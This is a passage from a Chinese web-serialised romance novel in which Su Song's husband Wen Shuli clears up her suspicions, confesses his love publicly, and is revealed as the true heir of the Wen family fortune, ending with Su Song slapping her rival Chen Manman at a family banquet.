她的两脚晃啊晃的,用天真的形象,来掩饰她内心的失落,看似随口的话,其实是内心深处,隐藏许久的控诉。
“您不知道,每次当戍礼带我参加宴会,有人提起苏氏上市,就会问我奶奶的近况时,答不上来的时候,我真觉得自己挺不孝的。
可我也好久没有见到您了。”又怎么知道近况呢?
她的眼睛像是窗户,透出她心灵上的委屈。
她看着苏凤,苏凤也看向她,但她说了这么多,只换了一句:“多大的人了,还这么爱哭。”
她的眼眶已经红了。远嫁的孤独,总是让她比较脆弱。
苏颂一笑,抬手掩饰住掉落的那滴泪,又揩去眼角多余的泪水:“奶奶,你真是不疼我。”
“又说小孩子话了,我不疼你,来看你?我忙苏氏的事情,也是在帮你忙,你不想想,苏氏以后不都是你的。”
苏凤的手机响了,看着她接电话的背影,心情低落的苏颂不由得又想到八岁那年,她去看望昏迷的苏凤,听到的那句话。
“为什么留下来的是你?我的珍儿,我的孙子……”那是她妈妈刚去世,奶奶昏迷醒来的第一句话。
苏颂在这个时候又想起,当时不是幻听吧。她看着苏凤那满头的白发,微微弯的了腰,对着手机还在指导着苏氏的工作……如果,当年妈妈没死,生下了弟弟的话,现在,奶奶也许就不用一把年纪还这么累了。
第一次,苏颂认同了这句话。
她坐在回去的车里,车子行驶造成的晃动,让她的思绪零散又密集。
虽然她爸当年让她忘了,让她记得奶奶很疼她就行,但苏颂心底是介意,且有怨气的。
可她最近跟温戍礼的摩擦,一直进展不前的感情,让她产生了消极的情绪,甚至让她一度想过要不算了,跟温戍礼算了,苏氏也算了,她只想做回苏颂。
大概是这样,她反而解开了多年的心结,理解了。
车子跟一辆红色跑车擦过,林美丽来到酒店找苏凤。
苏凤以为是苏颂落下什么东西回来拿,结果开门就看到林美丽。
。
苏颂本来是想带苏凤出来逛逛,然后一起吃午餐的,温家那边,温航之大概还在跟温戍礼置气,让人传达说他没时间,就不一起吃饭的消息,就没有下文。
她最近跟温戍的关系也有些紧张,于是连问个究竟都不敢,随便糊弄了奶奶,便想,自己陪陪奶奶就行了,结果奶奶又赶她回来,说她不需要任何人陪。
来看孙女,却被亲家冷待,苏颂知道,奶奶是生气了。越想,苏颂也越生气,车子已经开到南华街,闫丽的店关着,她下车,拿出钥匙,开了门。
大厅依旧保留着那天那样的乱,苏颂叹气:“现在连个聊天的人都没有了。”
人的情绪是需要排解的,苏颂找不到人诉说,只能找一个心里能放松的地方,这样,能安抚心性,结果她坐了一会,就有人进来。
“今天不营业。”苏颂说,只见那人有些熟悉,听到她说,也没有退出去,还朝她靠近。
苏颂的心提起来,随着对方的靠近。一手已经抓住身旁椅子的椅背
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,心里跟捣鼓一样,做好反抗打斗的准备。
“我是黄丽思,三年前,在陈家的宴会上,我作为温大少的女伴……”
“我是李青蕊,前年的元旦,是我陪着温大少出席商业峰会……”
“我是……”
一连进来了近十名女生,说的话也都有个共同点——温戍礼的女伴。
苏颂想起来,这些都是圈子里的千金。
她们是在跟她汇报,当年宴会的实际情况?
“是温伯伯跟我爸提议的,我才会去的。”
“是温夫人让我出席的。”
“是……”
一个个,都是陪着温戍礼出席过宴会的,但没有一个是温戍礼自己邀请安排的。就在苏颂一头雾水的时候,顾辽舟走了进来。
“嫂子,今天本人都来澄清了,你应该相信戍礼,没做对不起你的事情了吧?”
那些女孩子说清楚后便走了,店里只有苏颂跟顾辽舟。顾辽舟在苏颂对面坐下来,嬉皮笑脸的说:“嫂子可不能再装不在意的大方了,你不知道,戍礼都快气**。
要不是临时来电话有事,他今天还打算亲自跟那些人来和你解释。
他是男人,在外给他留点面子。”
顾辽舟挤眉弄眼,搭配上他那长刘海,一股子二流子范。
苏颂很意外,没想到他会安排这场辩白,心跳一直慢不下来,嘴上却说:“他没嘴,不会自己跟我说吗?丢下我就走,让我昨晚睡不着。”
还以为又要开始冷暴力了呢,结果他就做这一出。
“可不是没嘴,有嘴的话,也不至于嫂子一直以为戍礼心里没你了。”顾辽舟将一个文件袋放在桌子上,“里面是戍礼跟陈曼曼这事的解释,嫂子回去慢慢看。”
他跟陈曼曼的,也有吗?
苏颂抬手去拿,顾辽舟却忽然抬手压住文件袋的另一端。
苏颂抬眼看他,只见他笑意加深,越发的混不吝,只那双眼却透出诚恳的光。
“嫂子,能告诉我闫丽在哪吗?”
166 温大少正式告白啦~
苏颂再从清吧出来,天已经黑了,她看完了顾辽舟带来的资料,里面详细到从温戍礼跟陈曼曼什么时候认识的,具体到什么事情都有。特别是这一次,温戍礼为什么不得不帮陈曼曼,竟然足足打印了三页纸。
但让苏颂震撼的,还不是这些,而是顾辽舟最后说的“这些都是戍礼自己回忆自己写,最后打印下来的”。
四舍五入,这是温戍礼亲自写的。
苏颂深呼吸,夏季的风,很凉爽。
她站在清吧门口,张开双手,一脸舒适的状态,一切不快的重担都搬开了,整个人都轻松了。
她收起手,正打算离开,对面却亮起漂亮的霓虹灯。
King跟星灿的招牌同时亮起,竟然连成一片,上面的字样也不是店名,而是“别生气了”。
苏颂有些不可置信,以为是傍晚的天不够黑,显得灯不够亮,她看错了。
她看了看地面,再看上去,亮眼的灯光下,一道人影朝她走来。
“你总算赶到了,我守得累**,就担心人给走了,你来了找不到。”
顾辽舟不知道何时就站在树下,这会他把玩着手里的打火机,火苗窜起又灭,灭了又窜起。
他起身,经过温戍礼的身边,拍了拍他的肩膀:“嫂子完好无缺的还给你了。”
灯光的衬托下,一身西装的人影渐渐清晰,苏颂看着他走近,却感到不真实。
“不是梦吧?”梦,会梦得这么真实吗?
“嘶~你捏**嘛?”苏颂吃疼,捂着脸颊。
面前的男人,高大伟岸,此时透出点憨厚:“让你知道不是梦。”
苏颂揉着脸,嘟着嘴:“你真的,直男!”
算了,对他能抱有什么希望呢,到底连解释都得叫人来的人,还能指望他拉下脸吗?
“直男,什么意思?”
苏颂:“夸你帅。”
温戍礼看着她,在逐渐黯下去的天色,背后的灯光越发的璀璨下,他的目光认真且深邃。
“那些人的话都听了吗?”
“嗯。”
“文件袋的内容都看了吗?”
“嗯。”
苏颂抬着眼瞧他,总觉得今天的他有点不一样。
“所以,对我没有误会了吗?”
苏颂想说“嗯”,但反应过来,显得迟疑,反常的男人,拉响了她的警报,她正想问“你怎么了”,他的话便快了一步落下。
“那以后就别对我装大方了。”他真挚的看着苏颂,“认真大方更不行,苏颂,你是我老婆,你对我应该有占有欲,对我有所有权,我整个人都是你的,你不能把我推给别的女人。
就算,你不够爱我。”
他的手搭在她的后背上,将她拢进怀里。
苏颂感觉到他身上还带着风尘仆仆的凉意,大概是飞机上跟车里的空调吹的,时间太长,一时间抵抗住了热气。
苏颂的脸滚烫滚烫的,这天气真是太热了,他的怀抱,凉凉的,好舒服啊!
她轻轻的蹭了蹭。
男人的大手摸着她的后脑勺:“因为我已经爱惨你了,苏颂。”
他两手握着她的肩,看着她的眼睛,说:“我真怕你又像那晚一样,跟我闹。”
怕?他也有怕的事情?
她还担心自己那晚失态,会惹他不喜呢,难不成最近她的收着点,其实完全没必要。这个男人就喜欢她凶一点?
好吧,早知道,就早些爆发好了,白忍这么多年了。
不过,他说他爱惨了自己。
苏颂抱住他,这一次是她主动钻进去,两手环住她的腰,在他看不见的地方,偷偷地笑。
恩爱的两人,奢华又别具一格的告白方式,引来过路人的注视,不少女孩子惊呼,羡慕这样浪漫的爱情。
而少男则带着嫉妒的轻蔑,不过是有钱人的把戏,肤浅的女人才只爱钱。
只有成双成对的中年夫妻经过,看见这一幕,相视而笑,握着对方的手,收紧一些。
而看热闹的人里,也有熟悉的人影。
对面街道,闫丽看着恩爱的一对,笑了一下:“果然男人只有爱不爱,没有
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懂不懂。”
“都说温家出了个机器**少爷,只会工作不会笑,只爱工作不爱美人。
嘁,要不是怕成为下一个陈曼曼,我都想给他们拍个照宣传一下了,让他们都看看,她们心里的榆木疙瘩是怎么开窍的。”
闫丽的脑袋一歪,视线一瞥,对一旁的人道:“该死心了?”
其实李斯俊已经找到她了,因为找到了,才要回云城去,所以才跟苏颂道别。
苏颂见完李斯俊回家,给她打电话的时候,这人正在她的出租屋里喝酒买醉。
李斯俊觉得苏颂嫁给温戍礼过得很不快乐,他觉得是他的责任,如果当年他在云城的话,如果当年的当年,他没有口是心非的话……他觉得苏颂就是他的,现在会是他的妻子。
闫丽见不得他再这样沉沦下去,于是故意以着开玩笑的语气,替他表了白,只有苏颂的拒绝,才能让他清醒。
只不过没想到苏颂的回答很决然,甚至带着怒意,听得出来她是吃了秤砣铁了心要跟温戍礼过下去了,连说都不让她说了。
此时,闫丽看着一脸不可置信,又透出伤心的表弟,有些恨铁不成钢的说:“该死心了吧。”
李斯俊死死的盯着对面,现在他们正在接吻,距离远,听不到他们说了什么,但此时,无论是灯光营造出来的环境,还是两人沉溺式的拥吻,都说明,温戍礼在告白。
并且,成功了。
昨晚闫丽跟她说,他暗恋她,她却以一句“她结婚了”便匆匆挂了电话。
扼杀了他所有幻想。
李斯俊在生气,从他气势汹汹的转身,以及握紧的双手,闫丽看出来了。
他一个人走了,连句话都没说。闫丽知道,像他这样孤傲的人,肯定是被伤到了。
她摇摇头,正想转身,忽然,瞳孔睁大,她下意识的抬腿就想跑,结果却被人抓住手腕。
顾辽舟嘴边斜斜的咬着一根烟,一手插兜,闲庭信步的拉住她。
含烟的嘴角勾起,他笑:“总算抓到你了。”
167 肚子这么大,是怀了?
闫丽挣脱不得,回头假笑:“你抓**什么?”
平常总是化着精致妆容的女人,今晚不施粉黛,顾辽舟还是第一次见到闫丽素颜的样子,刚才离得远,只是觉得像,走近一点,听到她的声音,他便确定了,这会看着这张清素的脸。
“原来你没有眉毛啊,不化妆长这么丑!啊——”
闫丽狠狠的踩了他一脚,就算这样,顾辽舟也只是痛呼,并没有松手。
她是用跟鞋的鞋跟踩的,不是平常的尖细的鞋跟,但粗跟面积大,她用了劲,也是疼得人想喊爹娘。
“你要**啊!”他把想痛喊的冲动化成对她的质问,手上用力,也抓得闫丽哇哇叫。
“你才丑,你全家都丑。”
“那你也不能对亲夫下手啊!”顾辽舟已经缓过来了,见她疼得五官扭曲,手上的劲道松了些,别过头低声的说,“真丑。”
这一句闫丽没有听到,她的注意力都被他第一句吸引了:“你算个屁的夫!”还亲!
闫丽的白眼翻得不比他的嫌弃轻。
闻言,顾辽舟笑嘻嘻的:“一日夫妻百日恩,我可不是你的夫嘛!”
站直之后,视线锁定,目光被她的肚子吸引,顾辽舟眯了眯眼:“你躲起来,是治病去了?”
闫丽用另外一只自由的手,直接就甩过去,真是欠揍。
“你到底会不会说话,不会就当个哑巴好吧。你才有病,你全家都有病。”
“骂我就骂我,带上全家干什么,我妈骂人比你还凶,你吵不过她。”
闫丽:“……”谁是要跟他妈吵架了?
就在闫丽怀疑是不是这阵子不见,顾辽舟的脑子坏掉的时候,他在盯着她的肚子,摸着下巴琢磨。
“肚子这么大,不是身体不适,那是怀孕?”
得,还是那么精明,没傻没病。
。
一路上,苏颂都拉着温戍礼的手,她的高兴藏也藏不住,说要告诉给奶奶听,还说,要说他刚才说的那些腻歪情话。
温戍礼很不自在的商量,但到底没有说得过她,她说奶奶的心愿就是希望她跟他能好好过,告诉奶奶,奶奶肯定会很高兴,心满意足的回云城。
温戍礼赶紧赶慢的回来,一是想跟苏颂诉说心意,他不想再重蹈之前的覆辙,继续跟她过着冷冰冰的日子了,二来,就是要送苏凤去机场,老人家是他请过来的,于情于理都要他送才合适。
一听说了,会让苏凤安心,温戍礼便也不再执着。
大男人嘛,言出必行,他是真心想要对苏颂负责,且好好过日子的,说了也没关系。
可就在两人到达酒店的时候,却发现苏凤不在。
苏颂疑惑:“奶奶会去哪里?”
温戍礼正要打电话给莫离宗,让他交代人查一查,结果他的手机先响了。
“过来斋菜芳。”
苏颂看他:“是谁?”
“我爸。”
结果两人又从酒店前往斋菜芳,里面除了苏凤,还有温航之、林美丽,跟温衡,除了在国外的温泰,整个温家人都在了。
气氛有些不对,苏颂注意到林美丽低着的头,隐隐还有抽泣声。
温戍礼带着苏颂走进去,高冷、目空一切,只到了苏凤身边的时候,喊了一声“奶奶”,就没有其他话了。
温航之淡他一眼:“还得老子哄你是不是?”
一顿饭,吃得不算愉快,但也不算不愉快,吃饭的时候,苏颂不好意思问,她先吃完饭,在偏间准备泡茶的时候,温航之却走进来。
“我就说,戍礼他心里有你。”
苏颂回头,要站起来,被温航之抬手,比了个“阻止”的动作。
“你坐着。这里没有外人,我们就是公媳,一家人不必拘礼。”
温航之坐下来,再次开口:“戍礼跟你表白的事情,我都知道了。既然你们两口子之间的误会都解开,那么我这个当公公的,有些话也得跟你说。”
温航之严肃的形象深入苏颂的心里,这会听他这么一说,她的心都跟着提起来,半点也不轻松。
她紧张的坐好,一副认真聆听的样子。
“其实我最近一直不搭理戍礼,不是在跟
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他置气,他是我儿子,更是我一手培养出来的,没什么好气的。
只是,他的性子太傲了,从小到大,又过得太顺风顺水,有时候他已经不清楚自己的内心要什么,我冷冷他,没了家里人的支持跟关心,他就会从你那索取支持跟关心。
这一年,你一直暗地里为他拉拢人脉,我也知道。”
苏颂扣着手,连咽口水的动作都慢下来,深怕温航之说出什么责备的话。
结果他却说:“现在他顺利接手了盛泰的事情,又清楚了对你的心意,人生路的规划已经明朗,家跟业都有了主心骨,以后温家交给他,我就放心了。”
紧张了好半会的苏颂,猛地抬头,一不小心震惊出声:“把温家交给他?”
“只给戍礼吗?”她不太确定的再次确认。
水开了,温航之提起水壶,准备泡茶,悠闲的动作,加上浅浅的语气,却给苏颂丢出一颗**。
“是啊,跟他母亲离婚的时候就签订好协议的了,温家给他。”
苏颂眨巴了一下眼睛,又问:“那二叔跟小叔呢?”
温泰跟温衡呢?
温航之用热水冲了一下,热一下白瓷茶具,一边耐心细致的做着泡茶的前置准备,一边说:“他们没份。当然,以后可能会分一下财产跟家产给他们,会用我名下的,不会拿属于戍礼那一份。”
温航之看苏颂,第一次,她感觉到的不是威压,而是无奈,似乎还藏着一点慈爱。
“到底都是我儿子。就因为知道不公平,所以我平常会对他们纵容一些,因为戍礼已经拥有太多了,他们,都不及戍礼的零头,就只能拥有多一点父爱了。
但也仅此。
包括对你阿姨,有些事我都知道,可她居然连苏老夫人的歪主意都想得出来,太不像话了。你奶奶年事已高,我担心出事,才组织了这饭局,也是要跟你奶奶说清楚。
总之,我对他们不是偏爱,我有分寸。”
在林美丽到达酒店的时候,温航之的电话就打过来,他正好在酒店应酬,有人告诉了他。
168 老公才是真大佬,那两年抱错大腿了
苏颂听呆了,林美丽吃了这么多次瘪,还不老实,竟然还要打她奶奶的主意?在她一时间想不出要作什么反应好的时候,一道声音响起。
“时间差不多了。”温戍礼拨开珠帘,站在隔间门处。
苏颂回头,便看到温戍礼以一种审视的目光看温航之,后者,则是低头冲茶,倒像是回避。
送完苏凤去机场,回程的路上,苏颂有些担心:“奶奶一个人不知道行不行。”
温戍礼翻着财经杂志,淡淡的说:“奶奶的身子骨比你还硬朗。动不动就哼哼唧唧的。”
嗯?嗯??嗯!
苏颂第一反应是去看肖直,对方倒是很有职业素质的,充耳不闻。
只是苏颂自己的脸红了,这次,是她把隔板升起来。
温戍礼本来在看财经杂志,也没有抬眼,直到听见隔板升起的声音,光线多了一些阴影,他才朝苏颂转头看去,眼尾一挑,似乎是在问她这个始作俑者,升隔板干什么?
苏颂探头靠过去,压低声音:“你能不能别不分场合乱说话啊!”这个人以前是禁欲不解风情,现在是开窍了,却是有些随时随地。
苏颂真招架不住,也有些无语。
温戍礼琢磨了这句话,又回味了一下自己刚才说的话,眼帘一抬,明亮的眼眸,闪烁出恍然大悟的明朗。
于是,他把杂志放起来,一手拉开领带,侧身朝着苏颂靠近。
苏颂警惕的看他,双手挡在胸前:“你要干嘛?”
他跟她面对面,再近一点,就要触碰。他笑着,说“哼哼,唧唧。”重复了一下刚才自己说的话,还故意的停顿,显得意有所指。
苏颂真受不了:“你怎么这样了?”她快哭了,老公变得随时随地发情怎么办?现在还有点坏,她怀念以前高冷的他了。
见她紧张,温戍礼低声一笑,有些忍不住出声,只见他虚握成拳的手抵在唇下,像是在抑制自己,别失态。
她真是不经逗。
“直女。”
苏颂:“嗯?”
温戍礼已经坐回去了,眼神瞥她:“你不是说直男是夸我帅?那直女就是夸你可爱。”
他的嘴角依然挂着意味不明的笑。但苏颂这一刻觉得,他可能心里明白直男不是这个意思,他的智商跟城府,不是她一个只想躺平的普通人能窥探的。
为了不被拆穿,苏颂安静的接受了这种“直男”夸奖。
“我没想对你做什么,肖直跟了我多年,听我的语气就能分辨我话里是什么意思,你把隔板升起来,反而更让他误会。”
“叮!”苏颂反应迅速,要把隔板再降下来,温戍礼却阻止。
“等会儿,先说说,我爸在茶室跟你说了什么?”
等苏颂说完,温戍礼神色有些冷漠,冷笑一声:“他倒是会为自己洗白。”
“你是说,爸就是在骗我?”
“倒也不是。”温戍礼重新拿起财经杂志,边看边回,“他确实不敢真的对我怎么样,不过不是父爱,而是他不敢。”
他翻过一页,一副泰然自若的道:“他自己都没底气,还想庇护那三母子,不好笑?”
吃的用的都是他的,温航之到底就是怕真的惹急了他,他会把林美丽以及羽翼未丰的温衡都赶出去而已,所以才故意在苏颂面前示弱,扮演一个在中间为难的父亲,博取同情。
“不好笑。”
温戍礼拿着杂志的手一顿,捏着的动作停住,感觉到身边越来越强的气压。
“所以温家早就是你的,盛泰也是,你都知道,你却不告诉我?”
温戍礼:“……”
遭了,忘记这茬了。
一晚上,温戍礼细哄慢哄的,苏颂一直撅着嘴,光着膀子,拥有八块腹肌的男人毫不客气,亲咬上去,猛烈的动作,床发出“咿呀”一声。
“怎么办呢,老婆生气也好可爱。”
肉麻**,快把他变回去吧。
就在两人如胶似漆的时候,温戍礼的手机响了。
“喂。”欲求不满的男人火气大,对着手机有些在吼。
苏颂轻轻的捏了捏他的手臂,结实的肌肉,只让她捏起了一
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点点皮。她想让他注意点。
不知道那端说了什么,温戍礼挂电话的时候,气场变了。
苏颂好奇:“谁的电话,什么事?”
温戍礼说:“温衡。刘小娟生了。”
苏颂睁着大眼睛,表情惊愕,不太确定的问:“我们要过去吗?”
已经不早了,她不太确定。
男人的拥抱在下一秒覆盖过来,他的高大威猛一如既往:“去,干完再去。”
“这温泰那么爱玩,都没肾虚么?凭什么我这么努力你的肚子都没反应,他一个晚上就叫人怀了?”
被压着的苏颂,拧着眉,推不动啊!
。
因为刘小娟生了个儿子,大半夜的,除了温泰,温家人都到了医院。
苏颂跟温戍礼到的时候,温航之正抱着孩子,跟林美丽说话,表情愉悦,两人看上去就跟普通夫妇当了爷奶一般,掩不住的高兴。
“林美丽这个女人,有时候,我也怀疑,她是幸运,还是聪明呢?”
显然,因为刘小娟生了这个孩子,林美丽顺利躲过,想去挑拨苏凤,激恼温航之的劫。
闻言,苏颂看着林美丽,说:“她很聪明,同时,也有运气。”
底层跟豪门,阶层跨越从来就不是单单运气的事,但没有运气,单靠机智也达不到这么大的跨越。
“戍礼,你看,这孩子多像你。”他们一走近,温航之就连忙抱着孩子给他们看。
温戍礼接一句:“又不是我的种。怎么会像我。”
苏颂:“……”
全场寂静一秒,温航之尬笑:“你是孩子的大伯,像你也正常。”
温航之淡漠的瞥一眼:“先做个亲子鉴定再来攀亲戚吧。”
好吧,论嘴毒,还得是他,并且温戍礼的嘴毒,发作起来是无差别攻击的,连一个刚出生的孩子也不放过。
林美丽急了:“你什么意思?”
温戍礼看也不看她,对温航之说:“是温家的种,我不至于养不起,生活费会按照人口增加而增加。
你懂我意思?”
169 给她一巴掌,够爽
从头到尾,他都双手插兜,苏颂跟着他出来,小跑才跟上,问:“你来医院就为了提醒爸去做个亲子鉴定?”
温戍礼目视前方走着:“我说了,你可以不用来。”
“我以为,是因为家里添了新生命,我们一起来显得注重。”
所以她才要跟来,不想被长辈事后说她不懂礼数。
“一群人都是靠我养着的,还敢质疑你?”
温戍礼停下来,转过身,对她说:“你记住,以后谁得罪你,你就让肖直扣减谁的生活费,我看谁敢!”
苏颂感叹:“越来,温家是你在当家啊!”
两人走了,留下的这一家子却开始要乱,林美丽尖叫质问温航之:“什么意思?他说的是什么意思?敢情你给我们的每月生活费,还是他给的?”
温航之不悦的拧了拧眉:“那么大声干什么,吓到宝宝了。”
“那盛泰都是戍礼的,钱不就也是他的,他给我发工资,还给你们生活费,你们还不用工作,偷着乐吧。”
他抱着孩子进去了,小心宝贝得跟什么似的,但林美丽却高兴不起来。
温衡问母亲:“妈,所以我们以后真的要看大哥的脸色过活?我不要,这样跟乞丐差不多。”
每月为了那点生活费,就要伏低做小,他做不到。
林美丽气得五官都扭曲了:“难怪,难怪他会说我吃的用的都是他的,原来温家是他的,指的是这个意思。”
现在,林美丽才懂当时温戍礼告诫她的话。
原来这些年,她在争的都是一个既定的局!
。
温戍礼从记事起,就知道自己将来会是温宋两家的继承人。
他爸温航之说,一个人挑两家,担子太重。
他妈宋霜宜说,生孩子又痛又麻烦,生一个就够了。
所有人都叫他懂事,叫他学习,因为只有聪明,才能成为新一代的神话,但他从没想过,这一切,会在他八岁那年就要他承担。
他爸在办公室里就跟秘书厮混,被他妈抓到了,事情闹得很大,爷爷要压下丑闻,外公却要他付出代价,两个有实力有影响力的老头,为了自己的子女互不相让。
打官司,丢脸。不打吧,两家都有丰厚的家底,甚至相互渗透,离了,这家业难离。
可他爸色令智昏,还偷偷留下跟林美丽的孽种,林美丽挺着肚子上门挑衅的时候,注定这婚,继续不下去。
离婚是必然的。
最后,他的爷爷跟外公商量之后,决定离婚不离业,把两家的家业都过到了温戍礼的名下。
八岁的他,其实才是南城的首富。是林美丽肤浅,不仅不讨好他,还一直偷偷欺负他。
但当钱只是一串数字的时候,人就会失去对金钱的渴望,他其实并不是很在意自己的财富,甚至年幼的他,更渴望父爱,如果当时,如果……但凡温航之良心发现,重视他,爱护他,他都可以把温家的一切还给他,但偏偏,温航之对他说。
“戍礼,这是你弟弟,叫温泰,盛泰的泰。你以后继承了盛泰,看到集团的名字就会想起弟弟来,然后好好疼弟弟知道吗?
你是大哥,要为弟弟遮风挡雨,要保护弟弟,有钱也要给弟弟花,知道吗?”
中年得子的男人已经走火入魔,他甚至为了这两个儿子,甘愿不跟他争。
后来,他也真的按照温航之希望的做了——疼弟弟,行啊,他们惹事,他封口,弟弟这些年的风雨,都是受他“保护“”,才瞒得住温航之的,不然,真以为那点伎俩够看?他当大哥的,主打一个养歪不费心。
给钱花,好。每月每人一百万,未成年就五十万。如果是真正的名流,一百万真不够吃饭应酬交际的,但林美丽出身差,脑子再好用,到底认知跟不上,一个月就一百万啊,她激动怀了,所以她从不知道,她这个豪门太太当得“很寒酸”。
眼界决定一切,林美丽的狭隘,注定让她得不到温戍礼其他的好处了。以她惊扰苏凤为由,温戍礼断了她一个月的生活费,所以宝宝的满月宴,办得很简单。
林美丽要面子,对外说是
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还没结婚就生的,告诉大家温家添丁了就行,还到处宣扬说,这是温家的大孙子。可宾客的眼睛的雪亮的。
“大孙子是长子的第一个孩子,二儿子的再早生,也叫不上大孙子。”
“孩子都满月礼,孩子爸不回来?”
林美丽的逻辑经不起推敲,所以每当有顾客发出质疑,她就安静不作声了。
苏颂看着如跳梁小丑一般的林美丽,只觉得活该。
“没想到温泰人在国外,国内的孩子都生了。”这舒缓柔和的调调……
苏颂转身,果然看到陈曼曼。
陈曼曼见她转过来,笑得适宜温婉:“我没有别的意思,只是觉得也太突然了,你跟戍礼结婚这么多年,都没有生宝宝,反而没结婚的生了。”
陈曼曼靠近过来,在苏颂的耳边,说:“是不是你不能生啊?”
挑衅、恶劣!
一切美丽只是表象,这个女人,内里是贪婪丑陋的。
苏颂睨她:“陈小姐,你管得太宽了。”
面对她的提醒,陈曼曼不仅没有收敛,还变本加厉:“我听说,你吃醋砸了戍礼哥的手机。
可是戍礼哥后来还是来找我了,我们一晚上都在一起,他很担心我。”
要是温戍礼没有准备了那足足十八页的打印纸给她说明解释,苏颂这会儿说不准就会中计,毕竟,哪个当老婆的,能容忍自己的老公跟别的女人共处一晚的。
“有人说过你很贱吗?”苏颂直直的回视她的挑衅,“明明可以靠颜值吃饭,你偏偏要靠犯贱!”
“你!”
苏颂仰着一边脸,往她那凑过去:“要打我吗?不怕影响形象你就动手。让人们都看看,南城最负盛名的第一才女,第一名媛丑陋的一面。”
陈曼曼抬了一半的手,收回去。
她笑着看陈曼曼慌乱的表情,讥诮道:“你故意激怒我,是想刺激我打你,让我被传善妒,故技重施吗?”
“我……”
“啪!”苏颂扇过去,伴着一句“我满足你”送进陈曼曼的耳朵里。
170 你惹恼我太太,还敢让我凶她?
耳光的响亮声引来宴会上的人的注意,本来只是靠近苏颂这边的人看过来,但陈曼曼的尖叫声,又把范围扩大,人群开始有议论。
苏颂瞧着这些人只在原地窃窃私语,这怎么够呢,她,苏家大小姐,再不济,也从没被人那样诬陷过,至今,还有人相信那张照片,觉得她跟周正焕不清不楚。
陈曼曼捂着脸,恨恨的盯着苏颂:“你不想宴会办下去了?”
这是温家举办的,如果主人家闹出事情,确实会被人笑话,但是吧。
“谁希望办这个宴会了?我跟戍礼是夫妻,应该站哪边,还搞得清楚,不像你……”苏颂走前一步,靠近她。
“这些年全靠戍礼的庇护,才能坐稳陈家大小姐的位置,才能在上流圈有一席之地,可是呢?你却让他的妻子被人笑话?”苏颂一把抓住陈曼曼的领子。
陈曼曼被吓得惊慌失措:“你,你要干嘛?那么多人看着,你真的不顾颜面啦?”
她以为搬出面子,能让苏颂有所顾忌,哪知苏颂却是一笑。
她笑着摇头,竟然说出一句“谢谢”。
“还得感谢你,去年费尽心思的在圈子里抹黑我,现在,我打你,她们也只会认为,是我恼怒反击而已。
我的面子,不是被你弄丢了?”
看着苏颂又抬起手,陈曼曼瞪大眼睛,吓得花容失色,脑袋,摇得跟拨浪鼓一样。
“不!”
“我现在就是在找回我的面子!”并拢的掌,带来疾烈的风,比上一个更重的巴掌,呼在陈曼曼的脸上,直接将人打倒在地,引来全场的关注。
林美丽眼见自己孙子的满月宴被砸,气得大喊:“苏颂!”积攒了一个月的怒火,正要趁机爆发,想要大骂的话都到了喉咙边,整个人却被人从后撞了一下,她的身体往前踉跄,幸好被一个太太扶住,才没有摔倒。
她扭头,看到一道西装提拔的身影。
温戍礼大步朝着苏颂走去,在她面前停下,问:“你打的?”
陈曼曼一点一点,柔柔弱弱的站起来,声音染着哭腔,作出一个美人弱不禁风的可怜样,道:“戍礼哥,你别凶嫂子。”
被陈曼曼这么一引导,所有人,担忧的目光渐渐变成看热闹。
这是温家的宴会啊,温大少又是眼里最容不下沙子的人,苏颂是温太太,却闹出打宾客的事情来,温大少肯定是要教训她的。
于是,温戍礼平淡的一句询问,居然被她们理解成了要动怒的预兆。
温戍礼瞥了身后的陈曼曼的一眼,那一眼,平静无波,却让人毛骨悚然。
“我为什么要凶我太太?倒是你,来我家参加宴会,做什么事惹恼了我太太,让她这么大动干戈?”
温戍礼走到苏颂面前,拉起她两只手,看了看,问:“这只手打的?都红了,疼不疼?”
别看苏颂打陈曼曼的时候理直气壮,在看到温戍礼的时候,还是心虚了。
结果现在看他在自己的手心呼呼,热气哈在手上,却烫在脸上。特别是苏颂抬眼一看,被宾客们惊愕的表情吓到了。
于是她收紧手,这样一来,把温戍礼的手也抓住了。她提醒:“好了,好多人看着呢。”
于是,温戍礼直接牵着她,经过满是宾客的人群通道,边走还边吩咐管家:“叫医生来,太太的手疼。”
管家弯腰,恭敬的应下:“是。”
这一刻,温戍礼的果断,管家的敬重,无一不在彰显,他是下一任温家男主人的气场。
宾客一片哗然,纷纷觉得温戍礼宠老婆很帅,毕竟哪个女人不想被宠呢,还是被温戍礼这样站在顶端的男人宠。
于是那些起先还在背地里蛐蛐苏颂的,这会都羡慕不已,改口称赞苏颂好命。
所有人嘴里的话都成了温戍礼跟苏颂,主办这个宴会的林美丽反倒成了背景板,她狠狠的瞪着始作俑者的管家。
这个王管家,平常对她的吩咐总是装听不到,今日却对温戍礼这样毕恭毕敬,让她成为笑话!
而全场最惨的,
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要属陈曼曼了。
不知道谁先说了一句:“你当时跟我说温大少不喜欢温太太我就不信,还说什么温太太不检点,我看是你不检点才对吧?
一天到晚穿着紧身的旗袍,把身材包裹的紧紧的出来勾引男人,一看就不安分。”
这人的话引来了不少贵妇的认同,因为她们也听到过陈曼曼说苏颂的坏话。
“是啊,你该不会是还对温大少不死心,所以故意诋毁温太太吧?”
“哎呀,那打这两巴掌太轻了,要是有人勾引我老公,我能直接撕烂她的脸。”
陈曼曼捂着脸,步步后退,那些人却不罢休,一口一个“贱”,一口一个“骚”,硬是把她骂得受不了,两手捂着耳朵,忽地“啊”的一声,然后冲向人群,跑了出去。
哪里还有什么淑女形象呢。
温戍礼带着苏颂回了房间,他们在这里的房间很大,不仅有单独的客厅、洗浴间,还有衣帽间储物室,甚至茶水间,就像是他们家的缩小版。
苏颂一直以为,温戍礼的房间大,应有尽有,是因为温家大,但现在看,哪里是温家大的原因呢,温航之住在一楼不过房间带个小厅,视野还没这么好,这完全是这个家的主人才有的待遇。
此时,阳光透过玻璃洒进来,洒在苏颂的脚边。
她坐在榻榻米上,因着视线相平,清楚的捕捉到了医生从急忙紧张到不可置信,再略显无语的表情转变,她看着自己的掌心也笑了。
“医生,我没事,就是打了人,感觉掌心有点热。”
“太太的皮肤娇嫩,太大的力道碰撞,确实会产生疼痛感,小心为上,我开点药,涂抹一下,不出一日,热感就会消失。”
苏颂:“……”一日?她觉得再说会话,她都没感觉了。
她仰头看着站在一旁充当旁听者的男人,这会他像是医生的信徒,认真听着医生的用药叮嘱。
她想,到底他给这个医生开了多高的工资,才让人这样昧着良心说话的。
171 温大少甜度超标,温太太恃宠而骄
管家带着医生出去,门关上,温戍礼拿着药膏走近,单膝跪地,拆开药盒,拧开药盖,挤出药膏。
“我给你涂抹。”
